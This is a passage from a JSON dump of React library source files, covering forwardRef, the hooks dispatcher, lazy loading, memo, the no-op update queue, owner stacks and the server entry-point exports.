    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noflow\n */\n\nimport {REACT_FORWARD_REF_TYPE, REACT_MEMO_TYPE} from 'shared/ReactSymbols';\n\nexport function forwardRef<Props, ElementType: React$ElementType>(\n  render: (\n    props: Props,\n    ref: React$RefSetter<React$ElementRef<ElementType>>,\n  ) => React$Node,\n) {\n  if (__DEV__) {\n    if (render != null && render.$$typeof === REACT_MEMO_TYPE) {\n      console.error(\n        'forwardRef requires a render function but received a `memo` ' +\n          'component. Instead of forwardRef(memo(...)), use ' +\n          'memo(forwardRef(...)).',\n      );\n    } else if (typeof render !== 'function') {\n      console.error(\n        'forwardRef requires a render function but was given %s.',\n        render === null ? 'null' : typeof render,\n      );\n    } else {\n      if (render.length !== 0 && render.length !== 2) {\n        console.error(\n          'forwardRef render functions accept exactly two parameters: props and ref. %s',\n          render.length === 1\n            ? 'Did you forget to use the ref parameter?'\n            : 'Any additional parameter will be undefined.',\n        );\n      }\n    }\n\n    if (render != null) {\n      if (render.defaultProps != null) {\n        console.error(\n          'forwardRef render functions do not support defaultProps. ' +\n            'Did you accidentally pass a React component?',\n        );\n      }\n    }\n  }\n\n  const elementType = {\n    $$typeof: REACT_FORWARD_REF_TYPE,\n    render,\n  };\n  if (__DEV__) {\n    let ownName;\n    Object.defineProperty(elementType, 'displayName', {\n      enumerable: false,\n      configurable: true,\n      get: function () {\n        return ownName;\n      },\n      set: function (name) {\n        ownName = name;\n\n        // The inner component shouldn't inherit this display name in most cases,\n        // because the component may be used elsewhere.\n        // But it's nice for anonymous functions to inherit the name,\n        // so that our component-stack generation logic will display their frames.\n        // An anonymous function generally suggests a pattern like:\n        //   React.forwardRef((props, ref) => {...});\n        // This kind of inner function is not used elsewhere so the side effect is okay.\n        if (!render.name && !render.displayName) {\n          Object.defineProperty(render, 'name', {\n            value: name,\n          });\n          render.displayName = name;\n        }\n      },\n    });\n  }\n  return elementType;\n}\n"
  },
  {
    "path": "packages/react/src/ReactHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Dispatcher} from 'react-reconciler/src/ReactInternalTypes';\nimport type {\n  ReactContext,\n  StartTransitionOptions,\n  Usable,\n  Awaited,\n} from 'shared/ReactTypes';\nimport {REACT_CONSUMER_TYPE} from 'shared/ReactSymbols';\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\ntype BasicStateAction<S> = (S => S) | S;\ntype Dispatch<A> = A => void;\n\nfunction resolveDispatcher() {\n  const dispatcher = ReactSharedInternals.H;\n  if (__DEV__) {\n    if (dispatcher === null) {\n      console.error(\n        'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n          ' one of the following reasons:\\n' +\n          '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n          '2. You might be breaking the Rules of Hooks\\n' +\n          '3. You might have more than one copy of React in the same app\\n' +\n          'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n      );\n    }\n  }\n  // Will result in a null access error if accessed outside render phase. We\n  // intentionally don't throw our own error because this is in a hot path.\n  // Also helps ensure this is inlined.\n  return ((dispatcher: any): Dispatcher);\n}\n\nexport function getCacheForType<T>(resourceType: () => T): T {\n  const dispatcher = ReactSharedInternals.A;\n  if (!dispatcher) {\n    // If there is no dispatcher, then we treat this as not being cached.\n    return resourceType();\n  }\n  return dispatcher.getCacheForType(resourceType);\n}\n\nexport function useContext<T>(Context: ReactContext<T>): T {\n  const dispatcher = resolveDispatcher();\n  if (__DEV__) {\n    if (Context.$$typeof === REACT_CONSUMER_TYPE) {\n      console.error(\n        'Calling useContext(Context.Consumer) is not supported and will cause bugs. ' +\n          'Did you mean to call useContext(Context) instead?',\n      );\n    }\n  }\n  return dispatcher.useContext(Context);\n}\n\nexport function useState<S>(\n  initialState: (() => S) | S,\n): [S, Dispatch<BasicStateAction<S>>] {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useState(initialState);\n}\n\nexport function useReducer<S, I, A>(\n  reducer: (S, A) => S,\n  initialArg: I,\n  init?: I => S,\n): [S, Dispatch<A>] {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useReducer(reducer, initialArg, init);\n}\n\nexport function useRef<T>(initialValue: T): {current: T} {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useRef(initialValue);\n}\n\nexport function useEffect(\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  if (__DEV__) {\n    if (create == null) {\n      console.warn(\n        'React Hook useEffect requires an effect callback. Did you forget to pass a callback to the hook?',\n      );\n    }\n  }\n\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useEffect(create, deps);\n}\n\nexport function useInsertionEffect(\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  if (__DEV__) {\n    if (create == null) {\n      console.warn(\n        'React Hook useInsertionEffect requires an effect callback. Did you forget to pass a callback to the hook?',\n      );\n    }\n  }\n\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useInsertionEffect(create, deps);\n}\n\nexport function useLayoutEffect(\n  create: () => (() => void) | void,\n  deps: Array<mixed> | void | null,\n): void {\n  if (__DEV__) {\n    if (create == null) {\n      console.warn(\n        'React Hook useLayoutEffect requires an effect callback. Did you forget to pass a callback to the hook?',\n      );\n    }\n  }\n\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useLayoutEffect(create, deps);\n}\n\nexport function useCallback<T>(\n  callback: T,\n  deps: Array<mixed> | void | null,\n): T {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useCallback(callback, deps);\n}\n\nexport function useMemo<T>(\n  create: () => T,\n  deps: Array<mixed> | void | null,\n): T {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useMemo(create, deps);\n}\n\nexport function useImperativeHandle<T>(\n  ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n  create: () => T,\n  deps: Array<mixed> | void | null,\n): void {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useImperativeHandle(ref, create, deps);\n}\n\nexport function useDebugValue<T>(\n  value: T,\n  formatterFn: ?(value: T) => mixed,\n): void {\n  if (__DEV__) {\n    const dispatcher = resolveDispatcher();\n    return dispatcher.useDebugValue(value, formatterFn);\n  }\n}\n\nexport function useTransition(): [\n  boolean,\n  (callback: () => void, options?: StartTransitionOptions) => void,\n] {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useTransition();\n}\n\nexport function useDeferredValue<T>(value: T, initialValue?: T): T {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useDeferredValue(value, initialValue);\n}\n\nexport function useId(): string {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useId();\n}\n\nexport function useSyncExternalStore<T>(\n  subscribe: (() => void) => () => void,\n  getSnapshot: () => T,\n  getServerSnapshot?: () => T,\n): T {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useSyncExternalStore(\n    subscribe,\n    getSnapshot,\n    getServerSnapshot,\n  );\n}\n\nexport function useCacheRefresh(): <T>(?() => T, ?T) => void {\n  const dispatcher = resolveDispatcher();\n  // $FlowFixMe[not-a-function] This is unstable, thus optional\n  return dispatcher.useCacheRefresh();\n}\n\nexport function use<T>(usable: Usable<T>): T {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.use(usable);\n}\n\nexport function useMemoCache(size: number): Array<mixed> {\n  const dispatcher = resolveDispatcher();\n  // $FlowFixMe[not-a-function] This is unstable, thus optional\n  return dispatcher.useMemoCache(size);\n}\n\nexport function useEffectEvent<Args, F: (...Array<Args>) => mixed>(\n  callback: F,\n): F {\n  const dispatcher = resolveDispatcher();\n  // $FlowFixMe[not-a-function] This is unstable, thus optional\n  return dispatcher.useEffectEvent(callback);\n}\n\nexport function useOptimistic<S, A>(\n  passthrough: S,\n  reducer: ?(S, A) => S,\n): [S, (A) => void] {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useOptimistic(passthrough, reducer);\n}\n\nexport function useActionState<S, P>(\n  action: (Awaited<S>, P) => S,\n  initialState: Awaited<S>,\n  permalink?: string,\n): [Awaited<S>, (P) => void, boolean] {\n  const dispatcher = resolveDispatcher();\n  return dispatcher.useActionState(action, initialState, permalink);\n}\n"
  },
  {
    "path": "packages/react/src/ReactLazy.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Wakeable,\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n  ReactDebugInfo,\n  ReactIOInfo,\n} from 'shared/ReactTypes';\n\nimport {enableAsyncDebugInfo} from 'shared/ReactFeatureFlags';\n\nimport {REACT_LAZY_TYPE} from 'shared/ReactSymbols';\n\nimport noop from 'shared/noop';\n\nconst Uninitialized = -1;\nconst Pending = 0;\nconst Resolved = 1;\nconst Rejected = 2;\n\ntype UninitializedPayload<T> = {\n  _status: -1,\n  _result: () => Thenable<{default: T, ...}>,\n  _ioInfo?: ReactIOInfo, // DEV-only\n};\n\ntype PendingPayload = {\n  _status: 0,\n  _result: Wakeable,\n  _ioInfo?: ReactIOInfo, // DEV-only\n};\n\ntype ResolvedPayload<T> = {\n  _status: 1,\n  _result: {default: T, ...},\n  _ioInfo?: ReactIOInfo, // DEV-only\n};\n\ntype RejectedPayload = {\n  _status: 2,\n  _result: mixed,\n  _ioInfo?: ReactIOInfo, // DEV-only\n};\n\ntype Payload<T> =\n  | UninitializedPayload<T>\n  | PendingPayload\n  | ResolvedPayload<T>\n  | RejectedPayload;\n\nexport type LazyComponent<T, P> = {\n  $$typeof: symbol | number,\n  _payload: P,\n  _init: (payload: P) => T,\n\n  // __DEV__\n  _debugInfo?: null | ReactDebugInfo,\n  _store?: {validated: 0 | 1 | 2, ...}, // 0: not validated, 1: validated, 2: force fail\n};\n\nfunction lazyInitializer<T>(payload: Payload<T>): T {\n  if (payload._status === Uninitialized) {\n    let resolveDebugValue: (void | T) => void = (null: any);\n    let rejectDebugValue: mixed => void = (null: any);\n    if (__DEV__ && enableAsyncDebugInfo) {\n      const ioInfo = payload._ioInfo;\n      if (ioInfo != null) {\n        // Mark when we first kicked off the lazy request.\n        // $FlowFixMe[cannot-write]\n        ioInfo.start = ioInfo.end = performance.now();\n        // Stash a Promise for introspection of the value later.\n        // $FlowFixMe[cannot-write]\n        ioInfo.value = new Promise((resolve, reject) => {\n          resolveDebugValue = resolve;\n          rejectDebugValue = reject;\n        });\n      }\n    }\n    const ctor = payload._result;\n    const thenable = ctor();\n    // Transition to the next state.\n    // This might throw either because it's missing or throws. If so, we treat it\n    // as still uninitialized and try again next time. Which is the same as what\n    // happens if the ctor or any wrappers processing the ctor throws. This might\n    // end up fixing it if the resolution was a concurrency bug.\n    thenable.then(\n      moduleObject => {\n        if (\n          (payload: Payload<T>)._status === Pending ||\n          payload._status === Uninitialized\n        ) {\n          // Transition to the next state.\n          const resolved: ResolvedPayload<T> = (payload: any);\n          resolved._status = Resolved;\n          resolved._result = moduleObject;\n          if (__DEV__ && enableAsyncDebugInfo) {\n            const ioInfo = payload._ioInfo;\n            if (ioInfo != null) {\n              // Mark the end time of when we resolved.\n              // $FlowFixMe[cannot-write]\n              ioInfo.end = performance.now();\n              // Surface the default export as the resolved \"value\" for debug purposes.\n              const debugValue =\n                moduleObject == null ? undefined : moduleObject.default;\n              resolveDebugValue(debugValue);\n              // $FlowFixMe\n              ioInfo.value.status = 'fulfilled';\n              // $FlowFixMe\n              ioInfo.value.value = debugValue;\n            }\n          }\n          // Make the thenable introspectable\n          // TODO we should move the lazy introspection into the resolveLazy\n          // impl or make suspendedThenable be able to be a lazy itself\n          if (thenable.status === undefined) {\n            const fulfilledThenable: FulfilledThenable<{default: T, ...}> =\n              (thenable: any);\n            fulfilledThenable.status = 'fulfilled';\n            fulfilledThenable.value = moduleObject;\n          }\n        }\n      },\n      error => {\n        if (\n          (payload: Payload<T>)._status === Pending ||\n          payload._status === Uninitialized\n        ) {\n          // Transition to the next state.\n          const rejected: RejectedPayload = (payload: any);\n          rejected._status = Rejected;\n          rejected._result = error;\n          if (__DEV__ && enableAsyncDebugInfo) {\n            const ioInfo = payload._ioInfo;\n            if (ioInfo != null) {\n              // Mark the end time of when we rejected.\n              // $FlowFixMe[cannot-write]\n              ioInfo.end = performance.now();\n              // Hide unhandled rejections.\n              // $FlowFixMe\n              ioInfo.value.then(noop, noop);\n              rejectDebugValue(error);\n              // $FlowFixMe\n              ioInfo.value.status = 'rejected';\n              // $FlowFixMe\n              ioInfo.value.reason = error;\n            }\n          }\n          // Make the thenable introspectable\n          // TODO we should move the lazy introspection into the resolveLazy\n          // impl or make suspendedThenable be able to be a lazy itself\n          if (thenable.status === undefined) {\n            const rejectedThenable: RejectedThenable<{default: T, ...}> =\n              (thenable: any);\n            rejectedThenable.status = 'rejected';\n            rejectedThenable.reason = error;\n          }\n        }\n      },\n    );\n    if (__DEV__ && enableAsyncDebugInfo) {\n      const ioInfo = payload._ioInfo;\n      if (ioInfo != null) {\n        const displayName = thenable.displayName;\n        if (typeof displayName === 'string') {\n          // $FlowFixMe[cannot-write]\n          ioInfo.name = displayName;\n        }\n      }\n    }\n    if (payload._status === Uninitialized) {\n      // In case, we're still uninitialized, then we're waiting for the thenable\n      // to resolve. Set it as pending in the meantime.\n      const pending: PendingPayload = (payload: any);\n      pending._status = Pending;\n      pending._result = thenable;\n    }\n  }\n  if (payload._status === Resolved) {\n    const moduleObject = payload._result;\n    if (__DEV__) {\n      if (moduleObject === undefined) {\n        console.error(\n          'lazy: Expected the result of a dynamic imp' +\n            'ort() call. ' +\n            'Instead received: %s\\n\\nYour code should look like: \\n  ' +\n            // Break up imports to avoid accidentally parsing them as dependencies.\n            'const MyComponent = lazy(() => imp' +\n            \"ort('./MyComponent'))\\n\\n\" +\n            'Did you accidentally put curly braces around the import?',\n          moduleObject,\n        );\n      }\n    }\n    if (__DEV__) {\n      if (!('default' in moduleObject)) {\n        console.error(\n          'lazy: Expected the result of a dynamic imp' +\n            'ort() call. ' +\n            'Instead received: %s\\n\\nYour code should look like: \\n  ' +\n            // Break up imports to avoid accidentally parsing them as dependencies.\n            'const MyComponent = lazy(() => imp' +\n            \"ort('./MyComponent'))\",\n          moduleObject,\n        );\n      }\n    }\n    return moduleObject.default;\n  } else {\n    throw payload._result;\n  }\n}\n\nexport function lazy<T>(\n  ctor: () => Thenable<{default: T, ...}>,\n): LazyComponent<T, Payload<T>> {\n  const payload: Payload<T> = {\n    // We use these fields to store the result.\n    _status: Uninitialized,\n    _result: ctor,\n  };\n\n  const lazyType: LazyComponent<T, Payload<T>> = {\n    $$typeof: REACT_LAZY_TYPE,\n    _payload: payload,\n    _init: lazyInitializer,\n  };\n\n  if (__DEV__ && enableAsyncDebugInfo) {\n    // TODO: We should really track the owner here but currently ReactIOInfo\n    // can only contain ReactComponentInfo and not a Fiber. It's unusual to\n    // create a lazy inside an owner though since they should be in module scope.\n    const owner = null;\n    const ioInfo: ReactIOInfo = {\n      name: 'lazy',\n      start: -1,\n      end: -1,\n      value: null,\n      owner: owner,\n      debugStack: new Error('react-stack-top-frame'),\n      // eslint-disable-next-line react-internal/no-production-logging\n      debugTask: console.createTask ? console.createTask('lazy()') : null,\n    };\n    payload._ioInfo = ioInfo;\n    // Add debug info to the lazy, but this doesn't have an await stack yet.\n    // That will be inferred by later usage.\n    lazyType._debugInfo = [{awaited: ioInfo}];\n  }\n\n  return lazyType;\n}\n"
  },
  {
    "path": "packages/react/src/ReactMemo.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noflow\n */\n\nimport {REACT_MEMO_TYPE} from 'shared/ReactSymbols';\n\nexport function memo<Props>(\n  type: React$ElementType,\n  compare?: (oldProps: Props, newProps: Props) => boolean,\n) {\n  if (__DEV__) {\n    if (type == null) {\n      console.error(\n        'memo: The first argument must be a component. Instead ' +\n          'received: %s',\n        type === null ? 'null' : typeof type,\n      );\n    }\n  }\n  const elementType = {\n    $$typeof: REACT_MEMO_TYPE,\n    type,\n    compare: compare === undefined ? null : compare,\n  };\n  if (__DEV__) {\n    let ownName;\n    Object.defineProperty(elementType, 'displayName', {\n      enumerable: false,\n      configurable: true,\n      get: function () {\n        return ownName;\n      },\n      set: function (name) {\n        ownName = name;\n\n        // The inner component shouldn't inherit this display name in most cases,\n        // because the component may be used elsewhere.\n        // But it's nice for anonymous functions to inherit the name,\n        // so that our component-stack generation logic will display their frames.\n        // An anonymous function generally suggests a pattern like:\n        //   React.memo((props) => {...});\n        // This kind of inner function is not used elsewhere so the side effect is okay.\n        if (!type.name && !type.displayName) {\n          Object.defineProperty(type, 'name', {\n            value: name,\n          });\n          type.displayName = name;\n        }\n      },\n    });\n  }\n  return elementType;\n}\n"
  },
  {
    "path": "packages/react/src/ReactNoopUpdateQueue.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst didWarnStateUpdateForUnmountedComponent = {};\n\nfunction warnNoop(publicInstance, callerName) {\n  if (__DEV__) {\n    const constructor = publicInstance.constructor;\n    const componentName =\n      (constructor && (constructor.displayName || constructor.name)) ||\n      'ReactClass';\n    const warningKey = `${componentName}.${callerName}`;\n    if (didWarnStateUpdateForUnmountedComponent[warningKey]) {\n      return;\n    }\n    console.error(\n      \"Can't call %s on a component that is not yet mounted. \" +\n        'This is a no-op, but it might indicate a bug in your application. ' +\n        'Instead, assign to `this.state` directly or define a `state = {};` ' +\n        'class property with the desired state in the %s component.',\n      callerName,\n      componentName,\n    );\n    didWarnStateUpdateForUnmountedComponent[warningKey] = true;\n  }\n}\n\n/**\n * This is the abstract API for an update queue.\n */\nconst ReactNoopUpdateQueue = {\n  /**\n   * Checks whether or not this composite component is mounted.\n   * @param {ReactClass} publicInstance The instance we want to test.\n   * @return {boolean} True if mounted, false otherwise.\n   * @protected\n   * @final\n   */\n  isMounted: function (publicInstance) {\n    return false;\n  },\n\n  /**\n   * Forces an update. This should only be invoked when it is known with\n   * certainty that we are **not** in a DOM transaction.\n   *\n   * You may want to call this when you know that some deeper aspect of the\n   * component's state has changed but `setState` was not called.\n   *\n   * This will not invoke `shouldComponentUpdate`, but it will invoke\n   * `componentWillUpdate` and `componentDidUpdate`.\n   *\n   * @param {ReactClass} publicInstance The instance that should rerender.\n   * @param {?function} callback Called after component is updated.\n   * @param {?string} callerName name of the calling function in the public API.\n   * @internal\n   */\n  enqueueForceUpdate: function (publicInstance, callback, callerName) {\n    warnNoop(publicInstance, 'forceUpdate');\n  },\n\n  /**\n   * Replaces all of the state. Always use this or `setState` to mutate state.\n   * You should treat `this.state` as immutable.\n   *\n   * There is no guarantee that `this.state` will be immediately updated, so\n   * accessing `this.state` after calling this method may return the old value.\n   *\n   * @param {ReactClass} publicInstance The instance that should rerender.\n   * @param {object} completeState Next state.\n   * @param {?function} callback Called after component is updated.\n   * @param {?string} callerName name of the calling function in the public API.\n   * @internal\n   */\n  enqueueReplaceState: function (\n    publicInstance,\n    completeState,\n    callback,\n    callerName,\n  ) {\n    warnNoop(publicInstance, 'replaceState');\n  },\n\n  /**\n   * Sets a subset of the state. This only exists because _pendingState is\n   * internal. This provides a merging strategy that is not available to deep\n   * properties which is confusing. TODO: Expose pendingState or don't use it\n   * during the merge.\n   *\n   * @param {ReactClass} publicInstance The instance that should rerender.\n   * @param {object} partialState Next partial state to be merged with state.\n   * @param {?function} callback Called after component is updated.\n   * @param {?string} Name of the calling function in the public API.\n   * @internal\n   */\n  enqueueSetState: function (\n    publicInstance,\n    partialState,\n    callback,\n    callerName,\n  ) {\n    warnNoop(publicInstance, 'setState');\n  },\n};\n\nexport default ReactNoopUpdateQueue;\n"
  },
  {
    "path": "packages/react/src/ReactOwnerStack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\nexport function captureOwnerStack(): null | string {\n  if (__DEV__) {\n    const getCurrentStack = ReactSharedInternals.getCurrentStack;\n    if (getCurrentStack === null) {\n      return null;\n    }\n    // The current stack will be the owner stack which it is always here.\n    return getCurrentStack();\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "packages/react/src/ReactServer.experimental.development.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as __SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE} from './ReactSharedInternalsServer';\n\nimport {forEach, map, count, toArray, only} from './ReactChildren';\nimport {\n  REACT_FRAGMENT_TYPE,\n  REACT_PROFILER_TYPE,\n  REACT_STRICT_MODE_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n  REACT_ACTIVITY_TYPE,\n  REACT_OPTIMISTIC_KEY,\n} from 'shared/ReactSymbols';\nimport {\n  cloneElement,\n  createElement,\n  isValidElement,\n} from './jsx/ReactJSXElement';\nimport {createRef} from './ReactCreateRef';\nimport {\n  use,\n  useId,\n  useCallback,\n  useDebugValue,\n  useMemo,\n  getCacheForType,\n} from './ReactHooks';\nimport {forwardRef} from './ReactForwardRef';\nimport {lazy} from './ReactLazy';\nimport {memo} from './ReactMemo';\nimport {cache, cacheSignal} from './ReactCacheServer';\nimport {startTransition} from './ReactStartTransition';\nimport {captureOwnerStack} from './ReactOwnerStack';\nimport version from 'shared/ReactVersion';\n\nconst Children = {\n  map,\n  forEach,\n  count,\n  toArray,\n  only,\n};\n\n// These are server-only\nexport {\n  taintUniqueValue as experimental_taintUniqueValue,\n  taintObjectReference as experimental_taintObjectReference,\n} from './ReactTaint';\n\nexport {\n  Children,\n  REACT_ACTIVITY_TYPE as Activity,\n  REACT_FRAGMENT_TYPE as Fragment,\n  REACT_PROFILER_TYPE as Profiler,\n  REACT_STRICT_MODE_TYPE as StrictMode,\n  REACT_SUSPENSE_TYPE as Suspense,\n  REACT_VIEW_TRANSITION_TYPE as ViewTransition,\n  cloneElement,\n  createElement,\n  createRef,\n  use,\n  forwardRef,\n  isValidElement,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  startTransition,\n  getCacheForType as unstable_getCacheForType,\n  useId,\n  useCallback,\n  useDebugValue,\n  useMemo,\n  version,\n  // Experimental\n  REACT_SUSPENSE_LIST_TYPE as unstable_SuspenseList,\n  // enableOptimisticKey\n  REACT_OPTIMISTIC_KEY as optimisticKey,\n  captureOwnerStack, // DEV-only\n};\n"
  },
  {
    "path": "packages/react/src/ReactServer.experimental.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as __SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE} from './ReactSharedInternalsServer';\n\nimport {forEach, map, count, toArray, only} from './ReactChildren';\nimport {\n  REACT_FRAGMENT_TYPE,\n  REACT_PROFILER_TYPE,\n  REACT_STRICT_MODE_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n  REACT_ACTIVITY_TYPE,\n  REACT_OPTIMISTIC_KEY,\n} from 'shared/ReactSymbols';\nimport {\n  cloneElement,\n  createElement,\n  isValidElement,\n} from './jsx/ReactJSXElement';\nimport {createRef} from './ReactCreateRef';\nimport {\n  use,\n  useId,\n  useCallback,\n  useDebugValue,\n  useMemo,\n  getCacheForType,\n} from './ReactHooks';\nimport {forwardRef} from './ReactForwardRef';\nimport {lazy} from './ReactLazy';\nimport {memo} from './ReactMemo';\nimport {cache, cacheSignal} from './ReactCacheServer';\nimport {startTransition} from './ReactStartTransition';\nimport version from 'shared/ReactVersion';\n\nconst Children = {\n  map,\n  forEach,\n  count,\n  toArray,\n  only,\n};\n\n// These are server-only\nexport {\n  taintUniqueValue as experimental_taintUniqueValue,\n  taintObjectReference as experimental_taintObjectReference,\n} from './ReactTaint';\n\nexport {\n  Children,\n  REACT_ACTIVITY_TYPE as Activity,\n  REACT_FRAGMENT_TYPE as Fragment,\n  REACT_PROFILER_TYPE as Profiler,\n  REACT_STRICT_MODE_TYPE as StrictMode,\n  REACT_SUSPENSE_TYPE as Suspense,\n  REACT_VIEW_TRANSITION_TYPE as ViewTransition,\n  cloneElement,\n  createElement,\n  createRef,\n  use,\n  forwardRef,\n  isValidElement,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  startTransition,\n  getCacheForType as unstable_getCacheForType,\n  useId,\n  useCallback,\n  useDebugValue,\n  useMemo,\n  version,\n  // Experimental\n  REACT_SUSPENSE_LIST_TYPE as unstable_SuspenseList,\n  // enableOptimisticKey\n  REACT_OPTIMISTIC_KEY as optimisticKey,\n};\n"
  },
  {
    "path": "packages/react/src/ReactServer.fb.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as __SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE} from './ReactSharedInternalsServer';\n\nimport {forEach, map, count, toArray, only} from './ReactChildren';\nimport {captureOwnerStack as captureOwnerStackImpl} from './ReactOwnerStack';\nimport {\n  REACT_ACTIVITY_TYPE,\n  REACT_FRAGMENT_TYPE,\n  REACT_PROFILER_TYPE,\n  REACT_STRICT_MODE_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n} from 'shared/ReactSymbols';\nimport {\n  cloneElement,\n  createElement,\n  isValidElement,\n} from './jsx/ReactJSXElement';\nimport {createRef} from './ReactCreateRef';\nimport {use, useId, useCallback, useDebugValue, useMemo} from './ReactHooks';\nimport {forwardRef} from './ReactForwardRef';\nimport {lazy} from './ReactLazy';\nimport {memo} from './ReactMemo';\nimport {cache, cacheSignal} from './ReactCacheServer';\nimport version from 'shared/ReactVersion';\n\nconst Children = {\n  map,\n  forEach,\n  count,\n  toArray,\n  only,\n};\n\nlet captureOwnerStack: ?() => null | string;\nif (__DEV__) {\n  captureOwnerStack = captureOwnerStackImpl;\n}\n\nexport {\n  Children,\n  REACT_ACTIVITY_TYPE as Activity,\n  REACT_FRAGMENT_TYPE as Fragment,\n  REACT_PROFILER_TYPE as Profiler,\n  REACT_STRICT_MODE_TYPE as StrictMode,\n  REACT_SUSPENSE_TYPE as Suspense,\n  REACT_VIEW_TRANSITION_TYPE as ViewTransition,\n  REACT_VIEW_TRANSITION_TYPE as unstable_ViewTransition,\n  cloneElement,\n  createElement,\n  createRef,\n  use,\n  forwardRef,\n  isValidElement,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  useId,\n  useCallback,\n  useDebugValue,\n  useMemo,\n  version,\n  captureOwnerStack, // DEV-only\n  // Experimental\n  REACT_SUSPENSE_LIST_TYPE as unstable_SuspenseList,\n};\n"
  },
  {
    "path": "packages/react/src/ReactServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as __SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE} from './ReactSharedInternalsServer';\n\nimport {forEach, map, count, toArray, only} from './ReactChildren';\nimport {\n  REACT_ACTIVITY_TYPE,\n  REACT_FRAGMENT_TYPE,\n  REACT_PROFILER_TYPE,\n  REACT_STRICT_MODE_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n} from 'shared/ReactSymbols';\nimport {\n  cloneElement,\n  createElement,\n  isValidElement,\n} from './jsx/ReactJSXElement';\nimport {createRef} from './ReactCreateRef';\nimport {use, useId, useCallback, useDebugValue, useMemo} from './ReactHooks';\nimport {forwardRef} from './ReactForwardRef';\nimport {lazy} from './ReactLazy';\nimport {memo} from './ReactMemo';\nimport {cache, cacheSignal} from './ReactCacheServer';\nimport version from 'shared/ReactVersion';\nimport {captureOwnerStack} from './ReactOwnerStack';\n\nconst Children = {\n  map,\n  forEach,\n  count,\n  toArray,\n  only,\n};\n\nexport {\n  Children,\n  REACT_ACTIVITY_TYPE as Activity,\n  REACT_FRAGMENT_TYPE as Fragment,\n  REACT_PROFILER_TYPE as Profiler,\n  REACT_STRICT_MODE_TYPE as StrictMode,\n  REACT_SUSPENSE_TYPE as Suspense,\n  REACT_VIEW_TRANSITION_TYPE as ViewTransition,\n  cloneElement,\n  createElement,\n  createRef,\n  use,\n  forwardRef,\n  isValidElement,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  useId,\n  useCallback,\n  useDebugValue,\n  useMemo,\n  version,\n  captureOwnerStack, // DEV-only\n};\n"
  },
  {
    "path": "packages/react/src/ReactSharedInternalsClient.js",
